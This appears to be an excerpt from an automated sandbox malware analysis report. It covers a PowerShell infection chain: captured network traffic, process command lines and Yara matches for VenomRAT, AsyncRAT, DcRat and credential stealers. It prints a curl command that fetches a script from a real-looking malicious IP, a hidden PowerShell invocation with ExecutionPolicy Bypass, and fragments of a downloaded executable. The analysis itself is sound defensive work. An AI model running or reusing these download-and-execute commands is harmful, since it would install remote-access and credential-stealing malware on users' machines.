Jan 7, 2025 06:12:02.892524958 CET	1236	IN	Data Raw: 67 65 74 46 72 61 6d 65 77 6f 72 6b 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 46 69 6c 65 56 65 72 73 69 6f 6e 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 41 74 74 72 69 62 75 74 65 00 Data Ascii: getFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAtt
Jan 7, 2025 06:12:02.892535925 CET	1236	IN	Data Raw: 00 66 00 53 00 76 00 6d 00 37 00 57 00 43 00 76 00 34 00 53 00 52 00 70 00 4f 00 62 00 34 00 38 00 65 00 58 00 76 00 30 00 65 00 58 00 55 00 37 00 71 00 4f 00 4a 00 67 00 72 00 47 00 69 00 74 00 64 00 47 00 46 00 6a 00 2f 00 62 00 35 00 33 00 63 Data Ascii: fSvm7WCv4SRpOb48eXv0eXU7qOJgrGitdGFj/b53cyqxtnVrLOrwufk+fzmndGA8OzIq6K99snS0vOGjt3Ys/nKjor5xNuD16HYzcXhy9XVzp6clbaB753Iiz
Jan 7, 2025 06:12:02.892546892 CET	896	IN	Data Raw: 00 69 00 4d 00 42 00 67 00 52 00 48 00 53 00 30 00 39 00 45 00 30 00 5a 00 57 00 4d 00 4b 00 4f 00 38 00 72 00 4f 00 65 00 64 00 72 00 63 00 72 00 71 00 6c 00 37 00 69 00 42 00 74 00 49 00 53 00 47 00 76 00 70 00 76 00 74 00 39 00 39 00 54 00 38 Data Ascii: iMBgRHS09E0ZWMKO8rOedrcrql7iBtISGvpvt99T8/fHB0ffwpa3Z543/ze3YsMTI6t27y6enqZmEqPrMytvf1MLB8aLhz8r0peS0t4nUy8jD/b6VvvKlqZmJ
Jan 7, 2025 06:12:02.892556906 CET	1236	IN	Data Raw: 00 6e 00 38 00 76 00 6a 00 39 00 79 00 2f 00 7a 00 66 00 6b 00 4f 00 76 00 69 00 2b 00 63 00 58 00 4b 00 2b 00 4e 00 58 00 68 00 7a 00 4d 00 61 00 43 00 72 00 70 00 54 00 72 00 75 00 59 00 57 00 57 00 75 00 34 00 2b 00 43 00 75 00 4b 00 6d 00 47 Data Ascii: n8vj9y/zfkOvi+cXK+NXhzMaCrpTruYWWu4+CuKmGtIe/rtvu+/z66u77z/L82qnf2tHF9tDRnre6hUkaWXdyTB1cfH9DEFULMyoYLBE6Hyw1NysTH0BHYHNT
Jan 7, 2025 06:12:02.892563105 CET	1236	IN	Data Raw: 00 62 00 57 00 33 00 70 00 34 00 2b 00 61 00 6a 00 5a 00 53 00 51 00 6b 00 70 00 32 00 53 00 69 00 71 00 61 00 2b 00 6e 00 6f 00 43 00 4c 00 6a 00 72 00 54 00 61 00 69 00 49 00 53 00 32 00 6c 00 65 00 7a 00 35 00 76 00 5a 00 79 00 6c 00 35 00 49 Data Ascii: bW3p4+ajZSQkp2Siqa+noCLjrTaiIS2lez5vZyl5ISf1tKpvZnaisiI4pTi3/X4mry8tJO9vIKHxOLVxuDOqYOD7Ob20efYhd/93Inz0fjp4LTwkszJ4vTErZ
Jan 7, 2025 06:12:02.892569065 CET	1236	IN	Data Raw: 00 48 00 51 00 55 00 34 00 78 00 58 00 53 00 35 00 76 00 55 00 6b 00 4a 00 74 00 51 00 6b 00 5a 00 2b 00 4a 00 57 00 4d 00 30 00 66 00 53 00 5a 00 45 00 55 00 44 00 39 00 46 00 59 00 6b 00 6b 00 36 00 51 00 6b 00 56 00 64 00 6f 00 5a 00 4f 00 7a Data Ascii: HQU4xXS5vUkJtQkZ+JWM0fSZEUD9FYkk6QkVdoZOzuZPxuY+Q6aWulJ+N2MfQgKKuh8uh3eOJ+/GBtrKv+5KJ74SGi/6YhomywoWatJTdub2Vl5fmj67nmpGI
Jan 7, 2025 06:12:02.892579079 CET	1236	IN	Data Raw: 00 6a 00 38 00 53 00 4b 00 56 00 70 00 55 00 49 00 6e 00 67 00 50 00 63 00 33 00 39 00 56 00 58 00 6a 00 51 00 33 00 43 00 31 00 68 00 50 00 59 00 31 00 39 00 72 00 54 00 30 00 31 00 45 00 57 00 48 00 39 00 41 00 58 00 77 00 68 00 56 00 5a 00 45 Data Ascii: j8SKVpUIngPc39VXjQ3C1hPY19rT01EWH9AXwhVZEFAc01BU2Y7Hk1fX0BxRmBJZGBrLSBAQT1nfHdtQxVScX5TU1dyO0tbfkNIfFqGooGvubTf0ZuFv4GEoK
Jan 7, 2025 06:12:02.892591000 CET	1236	IN	Data Raw: 00 77 00 44 00 6d 00 55 00 4d 00 49 00 42 00 41 00 64 00 44 00 6b 00 6f 00 65 00 4c 00 69 00 6f 00 4d 00 46 00 44 00 5a 00 56 00 47 00 68 00 63 00 61 00 4f 00 79 00 51 00 77 00 4e 00 54 00 67 00 4e 00 4c 00 51 00 46 00 6b 00 61 00 77 00 41 00 56 Data Ascii: wDmUMIBAdDkoeLioMFDZVGhcaOyQwNTgNLQFkawAVLAs6CQIZMQQiMwk8M1tbVQkVAx44NxM2ThsIMxYhbGV8WmlNXmJZVFpVb05QZ11EIR11S21hQ3V4TXQL
Jan 7, 2025 06:12:02.897439003 CET	1236	IN	Data Raw: 00 4a 00 6a 00 57 00 39 00 4e 00 4c 00 39 00 35 00 64 00 7a 00 43 00 30 00 64 00 32 00 44 00 79 00 36 00 47 00 66 00 2f 00 72 00 4c 00 33 00 76 00 5a 00 4f 00 62 00 67 00 61 00 36 00 47 00 67 00 34 00 2f 00 72 00 2b 00 62 00 53 00 69 00 34 00 62 Data Ascii: JjW9NL95dzC0d2Dy6Gf/rL3vZObga6Gg4/r+bSi4bb7qNPMpPj41aH65d32xhIyDgMiIyIZJAYKKzYiEjkZDUAcGEIlPCMxEyZOMSwZEjcwAicFCy9kTl4xOB
Jan 7, 2025 06:12:04.393440962 CET	157	OUT	GET /infopage/utres.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 7, 2025 06:12:04.580173016 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 05:12:04 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 06 Jan 2025 15:11:38 GMT ETag: "2fdc00-62b0b0b870bd8" Accept-Ranges: bytes Content-Length: 3136512 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf\g// 0@ @0@/S0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS/r68XNd/xeN[>F$y'E}+iG<

Target ID:	0
Start time:	00:11:55
Start date:	07/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:11:55
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:11:59
Start date:	07/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat"
Imagebase:	0x7ff6d1900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:11:59
Start date:	07/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
Imagebase:	0x7ff6d1900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:11:59
Start date:	07/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:11:59
Start date:	07/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
Imagebase:	0x7ff648350000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:12:02
Start date:	07/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline"
Imagebase:	0x7ff660330000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:12:03
Start date:	07/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES617A.tmp" "c:\Users\user\AppData\Local\Temp\nfy3200k\CSCAAE263D2780F40D49B69A6171B4A2D61.TMP"
Imagebase:	0x7ff64f690000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:12:06
Start date:	07/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xca0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000009.00000002.4582340011.0000000003204000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFD345733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192683299.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34570000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 6092f30a2067239bc618a92cdbe94799d7b05a720db2ac052bb5579e628d6b94
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: EA01677121CB0C4FD754EF0CE451AA5B7E0FB95364F10056DE58AC36A5DB36E882CB45

Analysis Process: powershell.exePID: 4016, Parent PID: 5748COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD34545F80 Relevance: 16.3, Strings: 12, Instructions: 1285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0bu4, xrefs: 00007FFD3454BCBE
d, xrefs: 00007FFD3454B794
_T4, xrefs: 00007FFD3454B577
PAu4, xrefs: 00007FFD3454C0AB
hN_H, xrefs: 00007FFD3454BC6D
p2u4, xrefs: 00007FFD3454BFB3
p2u4, xrefs: 00007FFD3454BEA5
0Sr4, xrefs: 00007FFD3454B88F
bP\4, xrefs: 00007FFD3454BAEE
0Sr4, xrefs: 00007FFD3454B962
8=T4, xrefs: 00007FFD3454C0E6
p2u4, xrefs: 00007FFD3454BDEC

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: 0Sr4$0Sr4$0bu4$8=T4$PAu4$bP\4$d$hN_H$p2u4$p2u4$p2u4$_T4
API String ID: 0-655304936
Opcode ID: 9be7a8f99241faf528f1b3bd015e5c563884262bb6f2354dca28b1c620729c27
Instruction ID: c71c49324a4de99816328832629a34a40335ff36ad29d7fe15ae5734cbf59e52
Opcode Fuzzy Hash: 9be7a8f99241faf528f1b3bd015e5c563884262bb6f2354dca28b1c620729c27
Instruction Fuzzy Hash: 44824931F0DA8A4FE75ADB2884A56B577D1FF96310B0445BED18FCB293DE28A8038741

Function 00007FFD3454BA99 Relevance: 8.0, Strings: 6, Instructions: 523
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0bu4, xrefs: 00007FFD3454BCBE
hN_H, xrefs: 00007FFD3454BC6D
p2u4, xrefs: 00007FFD3454BFB3
p2u4, xrefs: 00007FFD3454BEA5
bP\4, xrefs: 00007FFD3454BAEE
p2u4, xrefs: 00007FFD3454BDEC

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: 0bu4$bP\4$hN_H$p2u4$p2u4$p2u4
API String ID: 0-4047881340
Opcode ID: 4669ff0aaed60daafa7b9d8d9031851fb62437ee38a02b81ebca63b167212201
Instruction ID: d3aca657dcd3529a9619fa3517c00f174e0a44f33aba26523e8fb2cc4c868fb3
Opcode Fuzzy Hash: 4669ff0aaed60daafa7b9d8d9031851fb62437ee38a02b81ebca63b167212201
Instruction Fuzzy Hash: C2F12C71B1EA850FE759DB78446A6B97BD1EF96350B0444FED08ECF3A2CD2CA8028741

Function 00007FFD3454BB3B Relevance: 6.7, Strings: 5, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0bu4, xrefs: 00007FFD3454BCBE
hN_H, xrefs: 00007FFD3454BC6D
p2u4, xrefs: 00007FFD3454BFB3
p2u4, xrefs: 00007FFD3454BEA5
p2u4, xrefs: 00007FFD3454BDEC

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: 0bu4$hN_H$p2u4$p2u4$p2u4
API String ID: 0-307878793
Opcode ID: 2f6995ed61d97c437599d73928cc70052ba731af01eeaa3c63f1e1fabd6a3e1a
Instruction ID: 252152ca292c8b5dad60aad13f348b5b1599337795cf329bf00986a02a3a9d98
Opcode Fuzzy Hash: 2f6995ed61d97c437599d73928cc70052ba731af01eeaa3c63f1e1fabd6a3e1a
Instruction Fuzzy Hash: FFE12C71B1EA850FE75AD778446A6B97BD1EF96300B0445FED08ECF3A2CD1CA8028741

Function 00007FFD3454BC35 Relevance: 6.6, Strings: 5, Instructions: 354
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0bu4, xrefs: 00007FFD3454BCBE
hN_H, xrefs: 00007FFD3454BC6D
p2u4, xrefs: 00007FFD3454BFB3
p2u4, xrefs: 00007FFD3454BEA5
p2u4, xrefs: 00007FFD3454BDEC

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: 0bu4$hN_H$p2u4$p2u4$p2u4
API String ID: 0-307878793
Opcode ID: 8c8af3d59c85fe19f06002c3ccfe898ced13c537a214b71362da40e33f93ef6f
Instruction ID: 9b95dd9fb87a56720080fc18c1f62c5c6bf5aa62ea4b1cb5321af9923096fe30
Opcode Fuzzy Hash: 8c8af3d59c85fe19f06002c3ccfe898ced13c537a214b71362da40e33f93ef6f
Instruction Fuzzy Hash: 69B1C771B1E9850FE759D77844AA6B97BD1EF96340B0444FED18ECF3A2CD18A8029741

Function 00007FFD3454BC90 Relevance: 5.3, Strings: 4, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0bu4, xrefs: 00007FFD3454BCBE
p2u4, xrefs: 00007FFD3454BFB3
p2u4, xrefs: 00007FFD3454BEA5
p2u4, xrefs: 00007FFD3454BDEC

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: 0bu4$p2u4$p2u4$p2u4
API String ID: 0-1214291319
Opcode ID: cc9959455e46a68a4b5b78bfb2ab8afaaa83a0facab99757a2a29cbad38e95a1
Instruction ID: 7954415b6afa9ca2a30eacf309eca52b1648c2f379e7cd657ce52f20970426b6
Opcode Fuzzy Hash: cc9959455e46a68a4b5b78bfb2ab8afaaa83a0facab99757a2a29cbad38e95a1
Instruction Fuzzy Hash: 12A1D871B0E9850FE75A977854BA6B97BD1EF96340B0444FED18ECF3A2CD1CA8029741

Function 00007FFD3454D2EB Relevance: 2.9, Strings: 2, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

oN_^, xrefs: 00007FFD3454D501
tN_, xrefs: 00007FFD3454D304

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID: oN_^$tN_
API String ID: 0-1849739789
Opcode ID: e235d5c1999742dc7206157b78a796c537525e4076f394775979fec7ce42325a
Instruction ID: 121a772275e12badea1767ed33f76f35719fa4042bb6c4f924e38e831c02b14a
Opcode Fuzzy Hash: e235d5c1999742dc7206157b78a796c537525e4076f394775979fec7ce42325a
Instruction Fuzzy Hash: B5A1E217F0C93627E61577ADB8A51EA7784EF923B67084177D388CD293A90DB88A43D0

Function 00007FFD3461055D Relevance: 1.9, Strings: 1, Instructions: 666
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p2u4, xrefs: 00007FFD346107E8

Memory Dump Source

Source File: 00000005.00000002.2355395276.00007FFD34610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34610000_powershell.jbxd

Similarity

API ID:
String ID: p2u4
API String ID: 0-510146424
Opcode ID: ae430ceea6573d703e2d2251c7d7a3b2a125ef080f3939b68ebb7c5b1b6904f8
Instruction ID: f6c8c08e259cd28d40571406996a98d80e3cc6ebf2a185d5a9a179582305b602
Opcode Fuzzy Hash: ae430ceea6573d703e2d2251c7d7a3b2a125ef080f3939b68ebb7c5b1b6904f8
Instruction Fuzzy Hash: 2B122561A0EBC50FEB968B2958B51B47FE1EF47210B0941FBD18DCB5A3D91CAC06D392

Function 00007FFD3454C6F9 Relevance: 1.7, APIs: 1, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0eab7050ad9b92f715b5c1eb086a711c9e70c96bb96f46187d79a7b5a428ac
Instruction ID: 71c2e9d9580914840887c34683282b60b875f35cae4dfc0c47a9eea25e3cb984
Opcode Fuzzy Hash: 3f0eab7050ad9b92f715b5c1eb086a711c9e70c96bb96f46187d79a7b5a428ac
Instruction Fuzzy Hash: 5861F831E0DA484FE759DB6C985A6B97BE1FF9A310F05427FD04DD7292DF28A8028781

Function 00007FFD3454C809 Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FFD3454C8CE

Memory Dump Source

Source File: 00000005.00000002.2353904905.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34540000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 95891ba81b00b8064bca23380aca6b0502979a3eeedabe865af8c9c5240d7041
Instruction ID: 0d2a278756b0aecca9a55d83bd07f0ead149e4b3d8469047e000fd034749d0e0
Opcode Fuzzy Hash: 95891ba81b00b8064bca23380aca6b0502979a3eeedabe865af8c9c5240d7041
Instruction Fuzzy Hash: 42318131A1CA5C8FDB58EF58D845AE9BBE0FB69321F14422EE049E3251CB75A8058B81

Function 00007FFD34614CCE Relevance: .2, Instructions: 222
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2355395276.00007FFD34610000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34610000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f690d01a04e7fb58aedd2577a5393580ebcb75ae563d0bf81191410b89ff455
